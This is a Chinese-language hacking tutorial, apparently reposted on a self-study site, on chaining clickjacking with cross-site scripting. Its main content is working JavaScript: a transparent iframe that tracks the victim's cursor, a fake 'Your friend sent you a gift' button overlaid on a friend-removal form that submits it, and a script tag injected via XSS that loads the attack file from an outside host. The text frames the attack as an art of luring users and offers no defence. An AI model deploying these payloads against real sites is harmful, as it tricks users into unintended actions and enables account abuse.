好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Clickjacking和XSS结合的攻击艺术 - 网站安全 - 自学

-----[ 0x01: 简介] Clickjacking攻击来自一个最近发现的两个研究人员杰里格罗斯曼和罗伯特[RSnake]汉森。这是一个相当简单而有效的攻击。 我们会迅速分析如何将两种不同的XSS和Clickjacking结合在一起使攻击更有效。 ----------------------------------------------------------------------------------------------------------------------------------     -----[ 0x02: JavaScript 永远爱我们] 当然,我们将使用一些JavaScript代码以完成我们的攻击计划,特别是要尝试两种不同的方法: - 0x02a = 制造一个下列的IFRAME,该用户将被迫点击一下;   - 0x02b = 创建一些专用的HTML代码来覆盖掉一些其他的网页内。 ----------------------------------------------------------------------------------------------------------------------------------     ------[ 0x02a: 光标跟踪] 第一个Clickjacking攻击,我们要准备将被命名为[Cursor tracking]:我们将使用JavaScript建立一个陷阱IFRAME。   现在开始编写代码,将部署Clickjacking攻击:我们所要做的就是让用户点击一个特定的按钮或链接,将迫使他作出一些动作,在网站中将装载精心设计过隐藏的IFRAME。   首先准备IFRAME代码,我们将要载入按钮点击:        <iframe id="victim" src="http://target.com/page.php" scrolling="no"     style="opacity: 0;position: absolute;left: 10;bottom: 10;"     width="500px;"></iframe>   在这个简单的IFRAME声明,我们必须确保关闭[scrolling]功能,并设置[opacity]属性为0,以构造成网页隐藏的牺牲品。页面内部IFRAME的位置依赖于哪个用户应该点击,你可能会想固定它使用:       margin-top: X;     margin-left: X;   利用负值,你会得到的页面越来越多居中到IFRAME。   下一步是准备一个JavaScript函数,使我们将代码注入到IFRAME跟踪用户光标所在网页,并且我们可以如愿以偿。以下内容是使用的事件句柄。       function getPosition(e) {         e = e || window.event;         var cursor = {x:0, y:0};             if (e.pageX || e.pageY) {             cursor.x = e.pageX;             cursor.y = e.pageY;         } else {             var de = document.documentElement;             var b = document.body;             cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /             (de.clientLeft || 0);             cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -      /             (de.clientTop || 0);         }                return cursor;     }   此函数检索用户的光标所在网页每次获得调用的X和Y坐标。       function clickjacking(e) {         var loadFrame = document.getElementByIdx("victim");         var curPos = getPosition(e);         loadFrame.setAttribute('style','opacity:0;position:absolute;top:'/         + (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');     }   同样,这一项装载IFRAME,调用以前的[getPosition]函数和改变属性加载IFRAME中的新坐标,检索光标跟踪的函数。       window.captureEvents(Event.MOUSEMOVE);     window.onmousemove=clickjacking;   这将调用MouseMove事件处理程序,使[clickjacking]功能调用每个用户光标移动中的网页。正如我们现在的JavaScript代码,我们创建的IFRAME作出如下受害者的光标所在的网页,并迫使他点击特定的按钮。   现在让我们的JavaScript输出到IFRAME之内的HTML代码document.write:   document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\" scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\" width=\"500px;\"></iframe>");   这样的IFRAME代码将被输出到脆弱的网页上,我们要尽快包含我们的XSS攻击媒介。   我们的JavaScript代码如下所示:   <!-- clickjacking.js --> function getPosition(e) {     e = e || window.event;     var cursor = {x:0, y:0};       if (e.pageX || e.pageY) {         cursor.x = e.pageX;         cursor.y = e.pageY;     } else {         var de = document.documentElement;         var b = document.body;         cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) -  /         (de.clientLeft || 0);         cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -    /         (de.clientTop || 0);     }        return cursor; }   function clickjacking(e) {     var loadFrame = document.getElementByIdx("victim");     var curPos = getPosition(e);     loadFrame.setAttribute('style','opacity:0;position:absolute;top:' +  /     (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';'); }   window.captureEvents(Event.MOUSEMOVE); window.onmousemove=clickjacking;   document.write("<iframe id=\"victim\" src=\"http:// www.2cto.com /page.php\"  / scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\"  / width=\"500px;\"></iframe>"); ----------------------------------------------------------------------------------------------------------------------------------     ------[ 0x02b: 图形覆盖] 另一种方法是创建一些HTML代码注入其中的网页图形部分,将替换成假的,并邀请用户点击它。   例如,我们的受害者访问一个网站,其中有一个代码,允许他删除他的朋友:       <form method="POST" name="friends" action="remove.php">         <div>Xiao Ming</div>         <input type="hidden" name="friendid" value="123456" />         <input type="submit" value="Remove from friends" />     </form>   我们要迫使用户删除[Xiao Ming],我们最终精心制作的JavaScript代码如下所示:   <!-- clickjacking.js --> function bonus() {     document.friends.submit(); } document.write("<div style=\"position:absolute;top:Ypx;left:Xpx;\"><input  / type=button value=\"Your friend sent you a gift, get it!\" onClick=\"javascript:bonus()\" / /></div>");   这将创建了一个按钮,将覆盖X和Y坐标,而这正是覆盖[Remove from friends]按钮,使它隐蔽地给了用户。   这仅仅是一个例子,说明了可用于覆盖技术,另一个可取代原来的登录表单并定位在网页的TOP和LEFT style属性。 ----------------------------------------------------------------------------------------------------------------------------------     -----[ 0x03: XSS 完成!] 假设一个相同的网页我们的受害者是用来访问()很容易受到跨站脚本,我们可以注入我们的JavaScript代码进行伪造,以便部署我们的XSS-Clickjacking,受害者几乎必会落入。   <script src=http:// www.2cto.com /clickjacking.js></script>   这是我们的XSS载体,我们应该使用JavaScript代码执行过受害者的浏览器:注入可以做到,因为我们已经看到,通过一个URL的GET参数或使用者输入表单。   [显然,一个XSS 漏洞 需要一些以前的蔓延,为了让受害者发现制作的恶意链接,他应该会得到想要的东西。] ----------------------------------------------------------------------------------------------------------------------------------     -----[ 0x04: 尾声] 该Clickjacking是一个非常有趣的攻击技术,获取更好的跨站脚本安全漏洞。   在这个攻击中最有趣事情的是,留下大量的空间让攻击者发挥自己的创造力,让他更好的表达出引诱网络用户的崇高艺术。   如果有可能的话,您创建了一个新的或更智能的攻击方法,可以邀请我一起共享--> Hack01[at]Live{dot}cn   # The HacKeR NetSpy [czy]  

查看更多关于Clickjacking和XSS结合的攻击艺术 - 网站安全 - 自学的详细内容...

  阅读:38次